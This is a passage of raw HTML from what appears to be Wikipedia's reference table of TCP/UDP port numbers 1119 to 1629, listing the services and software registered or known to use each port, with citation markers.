protocol\n</td></tr>\n<tr>\n<td>1119</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Battle.net\" title=\"Battle.net\">Battle.net</a> chat/game protocol, used by <a href=\"/wiki/Blizzard_Entertainment\" title=\"Blizzard Entertainment\">Blizzard</a>'s games<sup id=\"cite_ref-blizzard_126-0\" class=\"reference\"><a href=\"#cite_note-blizzard-126\">&#91;124&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1167</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td>\n</td>\n<td>Cisco <a href=\"/wiki/IP_SLA\" class=\"mw-redirect\" title=\"IP SLA\">IP SLA</a> (Service Assurance Agent)\n</td></tr>\n<tr>\n<td>1194</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/OpenVPN#Networking\" title=\"OpenVPN\">OpenVPN</a>\n</td></tr>\n<tr>\n<td>1198</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>The <a href=\"/wiki/Cajo_project\" title=\"Cajo project\">cajo project</a> Free dynamic transparent distributed computing in Java\n</td></tr>\n<tr>\n<td>1212</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Equalsocial <a href=\"/wiki/Fediverse\" title=\"Fediverse\">Fediverse</a> protocol\n</td></tr>\n<tr>\n<td>1214</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Kazaa\" title=\"Kazaa\">Kazaa</a>\n</td></tr>\n<tr>\n<td>1220</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background: #FF8; vertical-align: middle; text-align: center;\" class=\"table-maybe\">Assigned</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/QuickTime_Streaming_Server\" title=\"QuickTime Streaming Server\">QuickTime Streaming Server</a> administration<sup id=\"cite_ref-apple-kb-HT202944_11-41\" class=\"reference\"><a href=\"#cite_note-apple-kb-HT202944-11\">&#91;11&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">1234\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Infoseek\" title=\"Infoseek\">Infoseek</a> search agent\n</td></tr>\n<tr>\n<td></td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/VLC_media_player\" title=\"VLC media player\">VLC media player</a> default port for UDP/RTP stream\n</td></tr>\n<tr>\n<td>1241</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Nessus_(software)\" title=\"Nessus (software)\">Nessus Security Scanner</a>\n</td></tr>\n<tr>\n<td>1270</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Microsoft <a href=\"/wiki/System_Center_Operations_Manager\" title=\"System Center Operations Manager\">System Center Operations Manager</a> (SCOM) (formerly Microsoft Operations Manager (MOM)) agent\n</td></tr>\n<tr>\n<td>1293</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Internet Protocol Security (<a href=\"/wiki/IPSec\" class=\"mw-redirect\" title=\"IPSec\">IPSec</a>)\n</td></tr>\n<tr>\n<td rowspan=\"2\">1311\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Windows <code>RxMon.exe</code>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>Dell <a href=\"/wiki/OpenManage\" title=\"OpenManage\">OpenManage</a> HTTPS<sup id=\"cite_ref-dell-opnmang-srvr-admin_127-0\" class=\"reference\"><a href=\"#cite_note-dell-opnmang-srvr-admin-127\">&#91;125&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1314</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Festival_Speech_Synthesis_System\" title=\"Festival Speech Synthesis System\">Festival Speech Synthesis System</a> server<sup id=\"cite_ref-festival_7_128-0\" class=\"reference\"><a href=\"#cite_note-festival_7-128\">&#91;126&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1319</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>AMX ICSP (Protocol for communications with AMX control systems devices)\n</td></tr>\n<tr>\n<td rowspan=\"3\"><a href=\"/wiki/Leet\" title=\"Leet\">1337</a>\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=Men%26Mice_DNS&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Men&amp;Mice DNS (page does not exist)\">Men&amp;Mice DNS</a><sup id=\"cite_ref-129\" class=\"reference\"><a href=\"#cite_note-129\">&#91;127&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=Strapi&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Strapi (page does not exist)\">Strapi</a><sup id=\"cite_ref-130\" class=\"reference\"><a href=\"#cite_note-130\">&#91;128&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Sails.js\" title=\"Sails.js\">Sails.js</a> default port<sup id=\"cite_ref-131\" class=\"reference\"><a href=\"#cite_note-131\">&#91;129&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1341</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Qubes (<a href=\"/wiki/Manufacturing_Execution_System\" class=\"mw-redirect\" title=\"Manufacturing Execution System\">Manufacturing Execution System</a>)\n</td></tr>\n<tr>\n<td>1344</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Internet_Content_Adaptation_Protocol\" title=\"Internet Content Adaptation Protocol\">Internet Content Adaptation Protocol</a>\n</td></tr>\n<tr>\n<td>1352</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>IBM <a href=\"/wiki/Lotus_Notes\" class=\"mw-redirect\" title=\"Lotus Notes\">Lotus Notes</a>/<a href=\"/wiki/IBM_Lotus_Domino\" class=\"mw-redirect\" title=\"IBM Lotus Domino\">Domino</a> <a href=\"/wiki/Remote_procedure_call\" title=\"Remote procedure call\">(RPC)</a> protocol\n</td></tr>\n<tr>\n<td>1360</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Mimer_SQL\" title=\"Mimer SQL\">Mimer SQL</a>\n</td></tr>\n<tr>\n<td>1414</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM\" title=\"IBM\">IBM</a> <a href=\"/wiki/WebSphere_MQ\" class=\"mw-redirect\" title=\"WebSphere MQ\">WebSphere MQ</a> (formerly known as <a href=\"/wiki/MQSeries\" class=\"mw-redirect\" title=\"MQSeries\">MQSeries</a>)\n</td></tr>\n<tr>\n<td>1417</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Timbuktu_(software)\" title=\"Timbuktu (software)\">Timbuktu</a> Service 1 Port\n</td></tr>\n<tr>\n<td>1418</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Timbuktu Service 2 Port\n</td></tr>\n<tr>\n<td>1419</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Timbuktu Service 3 Port\n</td></tr>\n<tr>\n<td>1420</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Timbuktu Service 4 Port\n</td></tr>\n<tr>\n<td>1431</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/w/index.php?title=Reverse_Gossip_Transport_Protocol&amp;action=edit&amp;redlink=1\" class=\"new\" title=\"Reverse Gossip Transport Protocol (page does not exist)\">Reverse Gossip Transport Protocol</a> (RGTP), used to access a General-purpose Reverse-Ordered Gossip Gathering System (GROGGS) <a href=\"/wiki/Bulletin_board_system\" title=\"Bulletin board system\">bulletin board</a>, such as that implemented on the <a href=\"/wiki/University_of_Cambridge\" title=\"University of Cambridge\">Cambridge University</a>'s <a href=\"/wiki/Phoenix_(computer)\" title=\"Phoenix (computer)\">Phoenix system</a>\n</td></tr>\n<tr>\n<td>1433</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Microsoft_SQL_Server\" title=\"Microsoft SQL Server\">Microsoft SQL Server</a> <a href=\"/wiki/Database_management_system\" class=\"mw-redirect\" title=\"Database management system\">database management system</a> (MSSQL) server\n</td></tr>\n<tr>\n<td>1434</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Microsoft SQL Server database management system (MSSQL) monitor\n</td></tr>\n<tr>\n<td>1476</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>WiFi Pineapple Hak5.\n</td></tr>\n<tr>\n<td>1481</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>AIRS data interchange.\n</td></tr>\n<tr>\n<td>1492</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><i><a href=\"/wiki/Sid_Meier%27s_CivNet\" class=\"mw-redirect\" title=\"Sid Meier&#39;s CivNet\">Sid Meier's CivNet</a></i>, a multiplayer remake of the original <i>Sid Meier's Civilization</i> game<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This statement is lacking a reference for the port used. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>1494</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Citrix <a href=\"/wiki/Independent_Computing_Architecture\" title=\"Independent Computing Architecture\">Independent Computing Architecture</a> (ICA)<sup id=\"cite_ref-citrixblogger_132-0\" class=\"reference\"><a href=\"#cite_note-citrixblogger-132\">&#91;130&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1500</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM_Tivoli_Storage_Manager\" title=\"IBM Tivoli Storage Manager\">IBM Tivoli Storage Manager</a> server<sup id=\"cite_ref-ibm-support-swg21625297_133-0\" class=\"reference\"><a href=\"#cite_note-ibm-support-swg21625297-133\">&#91;131&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1501</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>IBM Tivoli Storage Manager client scheduler<sup id=\"cite_ref-ibm-support-swg21625297_133-1\" class=\"reference\"><a href=\"#cite_note-ibm-support-swg21625297-133\">&#91;131&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1503</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Windows_Live_Messenger\" title=\"Windows Live Messenger\">Windows Live Messenger</a> (Whiteboard and Application Sharing)<sup id=\"cite_ref-msft-kb-927847_134-0\" class=\"reference\"><a href=\"#cite_note-msft-kb-927847-134\">&#91;132&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1512</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Microsoft's <a href=\"/wiki/Windows_Internet_Name_Service\" title=\"Windows Internet Name Service\">Windows Internet Name Service</a> (WINS)\n</td></tr>\n<tr>\n<td>1513</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Garena\" title=\"Garena\">Garena</a> game client<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">1521\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/NCUBE\" title=\"NCUBE\">nCUBE</a> License Manager\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Oracle_database\" class=\"mw-redirect\" title=\"Oracle database\">Oracle database</a> default listener, in future releases<sup class=\"noprint Inline-Template\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Manual_of_Style/Dates_and_numbers#Chronological_items\" title=\"Wikipedia:Manual of Style/Dates and numbers\"><span title=\"The time period mentioned near this tag is ambiguous. (September 2015)\">when?</span></a></i>&#93;</sup><sup id=\"cite_ref-135\" class=\"reference\"><a href=\"#cite_note-135\">&#91;133&#93;</a></sup> official port 2483 (TCP/IP) and 2484 (TCP/IP with SSL)\n</td></tr>\n<tr>\n<td>1524</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>ingreslock, <a href=\"/wiki/Ingres_(database)\" title=\"Ingres (database)\">ingres</a>\n</td></tr>\n<tr>\n<td rowspan=\"2\">1527\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Oracle_Net_Services\" title=\"Oracle Net Services\">Oracle Net Services</a>, formerly known as SQL*Net<sup id=\"cite_ref-toadworld-1635_136-0\" class=\"reference\"><a href=\"#cite_note-toadworld-1635-136\">&#91;134&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Apache_Derby#Derby_Network_Server\" title=\"Apache Derby\">Apache Derby Network Server</a><sup id=\"cite_ref-apache-derby-into_137-0\" class=\"reference\"><a href=\"#cite_note-apache-derby-into-137\">&#91;135&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1533</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM_Sametime\" class=\"mw-redirect\" title=\"IBM Sametime\">IBM Sametime</a> Virtual Places Chat\n</td></tr>\n<tr>\n<td>1534</td>\n<td style=\"background:#FFC7C7;vertical-align:middle;text-align:center;\" class=\"table-no\">No</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>Eclipse Target Communication Framework<sup id=\"cite_ref-Eclipse_Foundation_138-0\" class=\"reference\"><a href=\"#cite_note-Eclipse_Foundation-138\">&#91;136&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1540</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/1C:Enterprise\" title=\"1C:Enterprise\">1C:Enterprise</a> server agent (ragent)<sup id=\"cite_ref-enterprise1c-ports_139-0\" class=\"reference\"><a href=\"#cite_note-enterprise1c-ports-139\">&#91;137&#93;</a></sup><sup id=\"cite_ref-enterprise1c-admin-guide_140-0\" class=\"reference\"><a href=\"#cite_note-enterprise1c-admin-guide-140\">&#91;138&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1541</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>1C:Enterprise master cluster manager (rmngr)<sup id=\"cite_ref-enterprise1c-ports_139-1\" class=\"reference\"><a href=\"#cite_note-enterprise1c-ports-139\">&#91;137&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1542</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>1C:Enterprise configuration repository server<sup id=\"cite_ref-enterprise1c-ports_139-2\" class=\"reference\"><a href=\"#cite_note-enterprise1c-ports-139\">&#91;137&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1545</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>1C:Enterprise cluster administration server (RAS)<sup id=\"cite_ref-enterprise1c-ports_139-3\" class=\"reference\"><a href=\"#cite_note-enterprise1c-ports-139\">&#91;137&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1547</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Laplink\" title=\"Laplink\">Laplink</a>\n</td></tr>\n<tr>\n<td rowspan=\"2\">1550\n</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>1C:Enterprise debug server<sup id=\"cite_ref-enterprise1c-ports_139-4\" class=\"reference\"><a href=\"#cite_note-enterprise1c-ports-139\">&#91;137&#93;</a></sup>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Gadu-Gadu\" title=\"Gadu-Gadu\">Gadu-Gadu</a> (direct client-to-client)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>1560–1590</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td>1C:Enterprise cluster working processes<sup id=\"cite_ref-enterprise1c-ports_139-5\" class=\"reference\"><a href=\"#cite_note-enterprise1c-ports-139\">&#91;137&#93;</a></sup>\n</td></tr>\n<tr>\n<td rowspan=\"2\">1581\n</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Combat-net_radio\" title=\"Combat-net radio\">MIL STD 2045-47001 VMF</a>\n</td></tr>\n<tr>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/IBM_Tivoli_Storage_Manager\" title=\"IBM Tivoli Storage Manager\">IBM Tivoli Storage Manager</a> web client<sup id=\"cite_ref-ibm-support-swg21625297_133-2\" class=\"reference\"><a href=\"#cite_note-ibm-support-swg21625297-133\">&#91;131&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1582–1583</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>IBM Tivoli Storage Manager server web interface<sup id=\"cite_ref-ibm-support-swg21625297_133-3\" class=\"reference\"><a href=\"#cite_note-ibm-support-swg21625297-133\">&#91;131&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1583</td>\n<td colspan=\"2\" style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/Pervasive_PSQL\" title=\"Pervasive PSQL\">Pervasive PSQL</a><sup id=\"cite_ref-PSQLVx_SP3_readme_141-0\" class=\"reference\"><a href=\"#cite_note-PSQLVx_SP3_readme-141\">&#91;139&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1589</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td>Cisco VLAN Query Protocol (<a href=\"/wiki/VQP\" title=\"VQP\">VQP</a>)\n</td></tr>\n<tr>\n<td>1604</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/DarkComet\" title=\"DarkComet\">DarkComet</a> remote administration tool (RAT)<sup class=\"noprint Inline-Template Template-Fact\" style=\"white-space:nowrap;\">&#91;<i><a href=\"/wiki/Wikipedia:Citation_needed\" title=\"Wikipedia:Citation needed\"><span title=\"This claim needs references to reliable sources. (August 2016)\">citation needed</span></a></i>&#93;</sup>\n</td></tr>\n<tr>\n<td>1626</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/ISketch\" title=\"ISketch\">iSketch</a><sup id=\"cite_ref-isketch-help_142-0\" class=\"reference\"><a href=\"#cite_note-isketch-help-142\">&#91;140&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1627</td>\n<td style=\"background: #8FD; vertical-align: middle; text-align: center;\" class=\"partial table-partial\">Unofficial</td>\n<td></td>\n<td></td>\n<td>\n</td>\n<td>iSketch<sup id=\"cite_ref-isketch-help_142-1\" class=\"reference\"><a href=\"#cite_note-isketch-help-142\">&#91;140&#93;</a></sup>\n</td></tr>\n<tr>\n<td>1628</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td></td>\n<td>\n</td>\n<td><a href=\"/wiki/LonTalk\" title=\"LonTalk\">LonTalk</a> normal\n</td></tr>\n<tr>\n<td>1629</td>\n<td style=\"background:#9EFF9E;vertical-align:middle;text-align:center;\" class=\"table-yes\">Yes</td>\n<td 